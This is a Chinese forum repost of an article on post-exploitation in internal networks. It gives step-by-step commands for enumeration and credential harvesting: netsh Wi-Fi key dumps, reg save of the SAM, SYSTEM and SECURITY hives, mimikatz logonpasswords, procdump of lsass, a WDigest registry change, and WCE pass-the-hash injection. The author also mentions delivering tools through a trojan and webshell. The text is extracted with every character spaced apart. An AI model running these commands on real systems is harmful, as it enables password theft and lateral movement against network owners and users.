搜索

[21751] 2021-03-09_内网渗透-信息收集（命令、工具及脚本）

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2021-03-09_内网渗透-信息收集（命令、工具及脚本） 内 网 渗 透 - 信 息 收 集 （ 命 令 、 工 具 及 脚 本 ） L e m o n S e c   2 0 2 1 - 0 3 - 0 9 0 x 0 1   内 网 信 息 收 集 内 网 信 息 收 集 1 . 内 网 基 础 信 息 ： 2 . 内 网 核 心 业 务 信 息 ： 3 . 其 他 信 息 0 x 0 2   内 网 实 战 （ 命 令 、 工 具 及 脚 本 ） 内 网 实 战 （ 命 令 、 工 具 及 脚 本 ） 1 . 用 户 列 表 、 当 前 权 限 等 2 . 内 网 网 络 拓 扑 等 信 息 以 下 两 条 命 令 可 以 查 看 无 线 网 密 码 内 网 网 段 信 息 ： 网 段 信 息 有 助 于 我 们 对 渗 透 的 内 网 进 行 拓 扑 、 分 区 。 以 拿 下 边 界 服 务 器 为 例 ， 得 到 一 定 的 控 制 权 之 后 ， 一 定 要 查 看 网 卡 信 息 ， 这 样 就 收 集 到 内 部 网 络 地 址 段 的 信 息 ， 进 一 步 渗 透 ， 找 到 更 多 的 内 部 网 络 地 址 。 内 网 大 小 ： 有 助 于 我 们 了 解 整 个 公 司 的 网 络 分 布 与 组 成 ， 帮 助 我 们 寻 找 内 网 核 心 业 务 。 内 网 O A 办 公 系 统 （ 大 公 司 ） 、 邮 件 服 务 器 （ 大 公 司 才 有 ） 、 网 络 监 控 系 统 （ 一 般 都 有 ） 、 财 务 应 用 系 统 、 核 心 产 品 源 码 （ 对 于 I T 公 司 ， 会 架 设 自 己 的 s v n 或 者 g i t 服 务 器 ） 系 统 管 理 员 密 码 。 其 他 用 户 s e s s i o n ， 3 3 8 9 和 i p c $ 连 接 记 录 ， 各 用 户 回 收 站 信 息 。 浏 览 器 密 码 和 浏 览 器 c o o k i e 获 取 。 w i n d o w s 无 线 密 码 获 取 （ 利 用 n e t s h ） ， 数 据 库 密 码 获 取 。 h o s t 文 件 获 取 和 d n s 缓 存 信 息 收 集 等 ， 可 以 查 看 D N S 服 务 器 的 I P ， 如 果 是 域 ， 一 般 情 况 D N S 服 务 器 和 域 控 是 同 一 台 ！ 先 定 位 出 D N S 服 务 器 ， 再 进 行 后 面 渗 透 。 杀 软 、 补 丁 、 进 程 、 网 络 代 理 信 息 w p a d 信 息 （ W e b   P r o x y   A u t o - D i s c o v e r y   P r o t o c o l ， 是 客 户 端 通 过 D H C P 或 D N S 协 议 探 测 代 理 服 务 器 配 置 脚 本 u r l 的 一 种 方 式 ） ， 软 件 列 表 信 息 。 计 划 任 务 、 帐 号 密 码 策 略 与 锁 定 策 略 、 共 享 文 件 夹 、 w e b 服 务 器 配 置 文 件 。 V P N 历 史 密 码 等 、 T e a m V i e w 密 码 等 、 启 动 项 、 i i s l o g 等 。 常 用 的 后 渗 透 信 息 收 集 工 具 、 P o w e r S h e l l + 各 种 内 网 渗 透 工 具 的 使 用 。 w i n ： w h o a m i 、 n e t   u s e r 、 n e t   u s e r   用 户 名 、   n e t   a c c o u n t s l i n u x ： w h o a m i 、 i d 、 w h o 、 c a t   / e t c / p a s s w d 、 c a t   / e t c / g r o u p n e t s h   w l a n   s h o w   p r o f i l e s n e t s h   w l a n   s h o w   p r o f i l e   n a m e = “ 网 络 链 接 配 置 文 件 ”   k e y = c l e a r
除 此 ， 常 用 的 有 i p c o n f i g 、 n s l o o k u p 等 等 3 . 进 程 列 表 4 . 端 口 信 息 5 . 补 丁 信 息 w i n : t a s k l i s t   l i n u x :   p s 、   t o p w i n :   n e t s t a t   - a n o   l i n u x :   n e t s t a t   - n t u l p   、 p s   - a u x w i n 系 统 ： s y s t e m i n f o w m i c   q f e   l i s t   f u l l w m i c   q f e   l i s t   f u l l   / f o r m a t : h t a b l e > c : h o t f i x e s . h t m l
第 三 条 命 令 导 出 h t m l 到 指 定 位 置 ， 浏 览 器 打 开 效 果 如 下 l i n u x ： 看 一 下 是 否 有 s a m b a 服 务 ， 或 者 使 用 r p m   - q a 来 查 询 安 装 了 哪 些 软 件 包 ， 有 一 些 可 以 通 过 名 字 来 判 断 出 是 补 丁 包 。 6 . 本 地 用 户 习 惯 7 . 凭 证 收 集 常 用 工 具 m i m i k a t z 、 w c e 、 I n v o k e - W C M D u m p 、 v a u l t c m d ( w i n 系 统 自 带 ) C r e d e n t i a l M a n a g e r ， 中 文 翻 译 为 凭 据 管 理 器 ， 用 来 存 储 凭 据 （ 如 网 站 登 陆 和 主 机 远 程 连 接 的 用 户 名 密 码 ） ， 如 果 用 户 选 择 存 储 凭 据 ， 那 么 当 用 户 再 进 行 对 应 的 操 作 ， 系 统 会 自 动 填 入 凭 据 ， 实 现 自 动 登 陆 ， 凭 据 保 存 在 特 定 的 位 置 ， 被 称 作 保 管 库 （ v a u l t ， 位 于 % l o c a l a p p d a t a % / M i c r o s o f t V a u l t ） I n v o k e - W C M D u m   P o w e r S h e l l 脚 本 ， 从 凭 据 管 理 器 导 出 W i n d o w s 凭 据 c : w i n d o w s S c h e d L g U . t x t ， 如 果 未 启 动 r e m o t e   S t o r a g e   E n g i n e 服 务 （ w i n 7 和 s e r v e r 0 3 上 都 没 找 到 此 服 务 ） 和 T a s k   S c h e d u l e r 服 务 ， 则 不 会 记 录 。 c : w i n d o w s P r e f e t c h 文 件 夹 ， 里 面 记 录 着 用 户 运 行 的 程 序 列 表 。 （ 已 验 证 ） c : U s e r s 用 户 名 R e c e n t 文 件 夹 ， 记 录 最 近 打 开 过 的 文 件 和 文 件 夹 （ x p 及 s e r v e r 0 3 是 在 c : D o c u m e n t s   a n d   S e t t i n g s 用 户 名 R e c e n t ） 查 看 收 藏 夹 、 文 档 目 录 等 。 下 载 地 址 h t t p s : / / g i t h u b . c o m / p e e w p w / I n v o k e - W C M D u m p P S > I m p o r t - M o d u l e   . I n v o k e - W C M D u m p . p s 1 P S > I n v o k e - W C M D u m p v a u l t c m d 命 令 （ w i n 系 统 自 带 ） ， 导 出 的 不 是 明 文 密 码 ， 本 人 不 会 利 用 列 出 保 管 库 ( v a u l t ) 列 表 ： v a u l t c m d   / l i s t 列 出 保 管 库 ( v a u l t ) 概 要 ， 凭 据 名 称 和 G U I D ： v a u l t c m d   / l i s t s c h e m
8 . 系 统 哈 希 或 明 文 密 码 获 取 （ 1 ） m i m i k a t z 获 取 明 文 （ 一 般 会 报 毒 ） 要 以 管 理 员 身 份 运 行 ， 一 般 用 在 桌 面 环 境 。 如 果 是 终 端 条 件 ， 使 用 能 以 系 统 管 理 员 身 份 运 行 的 程 序 去 调 用 m i m i k a t z ， 执 行 以 下 两 条 命 令 就 O K . （ 2 ） 注 册 表 导 出 ， 本 地 分 析 （ 较 安 全 准 确 ） （ 3 ） G e t - P a s s H a s h e s 脚 本 列 出 保 管 库 ( v a u l t ) 概 要 ， 凭 据 名 称 和 G U I D ： v a u l t c m d   / l i s t s c h e m 其 他 命 令 ： c m d k e y   / l i s t 最 方 便 的 方 法 是 利 用 c m d 执 行 r e g   s a v e 命 令 从 注 册 表 导 出 。 X P 等 系 统 的 密 码 位 数 超 过 1 4 时 ， 会 采 用 N T L M 加 密 ， 小 于 1 4 位 是 L M 。 w i n 7 等 更 高 版 本 ， 应 该 是 N T L M 。 t e s t : 1 0 0 3 : E 5 2 C A C 6 7 4 1 9 A 9 A 2 2 6 6 4 3 4 5 1 4 0 A 8 5 2 F 6 1 : 6 7 A 5 4 E 1 C 9 0 5 8 F C A 1 6 4 9 8 0 6 1 B 9 6 8 6 3 2 4 8 : : : 注 意 被 冒 号 隔 断 的 两 组 长 字 符 串 ， 前 面 是 L M   h a s h ， 后 面 是 N T L M   h a s h ， h a s h 一 般 存 在 两 个 地 方 ： s a m 文 件 （ s y s t e m 文 件 也 需 要 ） ， N T D S . D I T 文 件 ， 存 在 域 控 上 对 应 域 用 户 。 p r i v i l e g e : : d e b u g s e k u r l s a : : l o g o n p a s s w o r d s w i n 2 0 0 0 和 X P 需 要 先 提 权 到 s y s t e m 权 限 ， s e r v e r 0 3 开 始 ， 可 以 直 接 r e g   s a v e ， 文 件 可 能 较 大 , 效 率 低 ， 但 比 较 准 确 可 靠 。 r e g   s a v e   h k l m s a m   s a m . h i v e ( 也 可 省 略 . h i v e ， 但 二 者 有 何 区 别 暂 不 清 楚 ) r e g   s a v e   h k l m s y s t e m   s y s t e m . h i v e r e g   s a v e   h k l m s e c u r i t y   s e c u r i t y . h i v e ( 这 个 文 件 什 么 用 途 暂 不 清 楚 ) c d   c : p h p s t u d y w w w   （ 在 终 端 先 切 换 到 p s 1 脚 本 目 录 ） p o w e r s h e l l   - E x e c u t i o n P o l i c y   B y p a s s ( 设 置 会 话 默 认 执 行 策 略 ， 并 进 入 P S ） i m p o r t - m o d u l e   . G e t - P a s s H a s h e s . p s 1   ( 导 入 模 块 ) G e t - P a s s H a s h e s （ 大 小 写 不 敏 感 ）
（ 4 ） w c e 读 取 明 文 ， 哈 希 注 入 获 取 明 文 并 保 存 w c e 的 h a s h 注 入 h a s h 注 入 的 原 理 是 将 我 们 预 备 好 的 目 标 机 器 的 本 地 或 者 是 域 用 户 h a s h 注 入 到 本 地 的 认 证 进 程 l s a s s . e x e 中 去 ， 使 得 本 地 在 使 用 i p c 登 录 目 标 机 器 的 时 候 就 如 同 自 己 登 录 自 己 的 机 器 一 样 获 得 权 限 。 至 于 目 标 机 器 的 本 地 或 者 是 域 用 户 h a s h 如 何 取 得 那 就 要 发 挥 你 自 己 的 想 象 力 了 。 h a s h 注 入 本 身 是 为 了 对 付 那 些 破 解 不 了 的 N T H A S H 配 合 上 面 提 到 的 G e t - P a s s H a s h e s 脚 本 ， 本 地 进 行 h a s h 注 入 后 ， 成 功 列 出 了 目 标 机 的 文 件 。 两 个 主 机 互 测 ， 一 次 成 功 了 ， 但 测 试 前 没 有 尝 试 第 二 张 图 ， 不 知 是 否 是 h a s h 注 入 影 响 。 攻 守 互 换 后 ， 不 成 功 。 抓 取 明 文 （ w c e . e x e   - w ， w c e 支 持 w i n 系 统 绝 大 多 数 版 本 ） 很 快 就 能 显 示 ， 但 密 码 位 数 过 长 时 ， 偶 尔 可 能 不 准 确 ， 如 下 面 第 一 张 图 ， 显 示 的 密 码 中 间 少 了 两 位 ， 第 二 张 图 长 度 更 长 了 ， 但 显 示 的 密 码 却 是 正 确 的 w i n 8 和 s e r v e r 2 0 1 2 如 果 抓 不 出 ， 在 目 标 机 修 改 注 册 表 （ C M D 运 行 下 命 令 ） r e g   a d d   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t   / v   U s e L o g o n C r e d e n t i a l   / t   R E G _ D W O R D   / d   1 w c e   - o   o u t p u t . t x t t y p e   o u t p u t . t x w c e . e x e   - s   < u s e r n a m e > ： < d o m a i n > ： < l m h a s h > ： < n t h a s h > w c e . e x e   - s   < u s e r n a m e > ： < d o m a i n > ： < l m h a s h > ： < n t h a s h >   - c   c m d . e x e
当 提 示 注 入 成 功 的 时 候 ， 这 时 候 键 入 n e t   u s e 命 令 并 没 有 看 到 有 连 接 ， 其 实 已 经 可 以 连 接 了 ， 直 接 使 用 i p c 命 令 操 作 对 方 的 机 器 就 可 以 了 。 域 里 的 域 用 户 h a s h 也 可 以 使 用 w c e 进 行 注 入 ， 只 需 要 把 命 令 格 式 变 一 变 就 行 （ 5 ） p r o c d u m p （ 微 软 出 品 ） + 本 地 用 m i m i k a t z 得 明 文 ， 较 安 全 m i m i k a t z 1 . 0 版 本 直 接 用 不 行 （ 需 要 先 注 入 s e k u r l s a . d l l ） ， 2 . 1 . 1   x 6 4 版 本 试 验 O K ， 另 外 路 径 中 最 好 不 要 出 现 中 文 , 且 需 要 以 管 理 员 权 限 运 行 。 我 们 运 行 m i m i k a t z 的 平 台 要 与 进 行 d u m p 的 系 统 ( s o u r c e   d u m p ) 兼 容 ， 假 如 你 攻 击 的 s e r v e r 2 0 0 8 , 你 需 要 用 n t 6 平 台 使 用 m i m i k a t z , 兼 容 性 如 下 ： 1 ） 获 取 d u m p N T 6 可 以 使 用 任 务 管 理 器 进 行 d u m p : 个 人 觉 得 用 到 情 况 较 少 ， 一 般 有 桌 面 环 境 ， 可 以 考 虑 直 接 运 行 m i m i k a t z w c e . e x e   - s   用 户 名 : 域 名 : L M - H A S H : N T - H A S H 详 细 参 考 ： h t t p : / / w w w . 9 1 r i . o r g / 6 8 8 1 . h t m l 原 帖 英 文   ： h t t p : / / b l o g . g e n t i l k i w i . c o m / s e c u r i t e / m i m i k a t z / m i n i d u m p
也 可 使 用 p r o c d u m p （ w i n 7 亲 测 可 用 ） ： 原 帖 中 是 通 过 i p c $ 入 侵 得 到 的 d u m p 文 件 ， 我 是 通 过 木 马 ， 使 用 菜 刀 连 接 上 传 p r o c d u m p ， 靶 机 这 边 我 用 的 是 管 理 员 权 限 ， 之 所 以 这 样 做 ， 是 考 虑 到 实 战 中 ， 如 果 是 低 权 限 用 户 ， 也 不 会 费 劲 的 去 破 解 对 方 密 码 吧 。 2 ） 本 地 破 解 密 码 攻 击 者 是 w i n 7 ， 使 用 m i m i k a t z 的 环 境 也 要 用 N T 6 ， 把 d m p 文 件 放 在 m i m i k a t z 程 序 目 录 下 。 进 入 目 录 后 ， 直 接 输 入 m i m i k a t z 并 回 车 ， 注 意 权 限 ， 再 运 行 下 面 两 个 命 令 。 成 功 得 到 系 统 密 码 ， 我 这 里 还 用 了 s y s k e y 加 密 ， 仍 然 得 到 了 明 文 。 9 . 星 号 查 看 通 过 h o o k 函 数 或 者 改 变 变 量 属 性 值 来 查 看 明 文 。 通 过 改 j s 代 码 ， 或 使 用 浏 览 器 插 件 可 显 示 网 页 中 星 号 的 明 文 ， 但 实 战 个 人 猜 测 用 处 不 大 。 三 、 内 网 权 限 拓 展 （ 常 见 应 用 漏 洞 ） ： 官 网 下 载 ： h t t p : / / t e c h n e t . m i c r o s o f t . c o m / e n - u s / s y s i n t e r n a l s / d d 9 9 6 9 0 0 . a s p x p r o c d u m p . e x e   - a c c e p t e u l a   - m a   l s a s s . e x e   l s a s s . d m p s e k u r l s a : : m i n i d u m p   l s a s s . d m p s e k u r l s a : : l o g o n P a s s w o r d s   f u l l
s t r u s t 2 、 Z a b b i x 、 A x i s 2 、 I m a g e M a g i c k 、 F a s t C G I 、 r e d i s 、 H a d o o p s t r u t s 攻 击 参 考 ： — — — — — — — — — — — — — — — — 0 x 0 3   原 文 链 接 原 文 链 接 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦 h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 8 5 6 7 4 h t t p s : / / w w w . c n b l o g s . c o m / p e t e r p a n 0 7 0 7 0 0 7 / p / 7 4 9 5 6 4 9 . h t m l h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 8 5 7 4 4 h t t p s : / / b l o g . c s d n . n e t / n i l w i a o g l w i g j w l g / a r t i c l e / d e t a i l s / 8 2 8 3 4 0 6 8
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理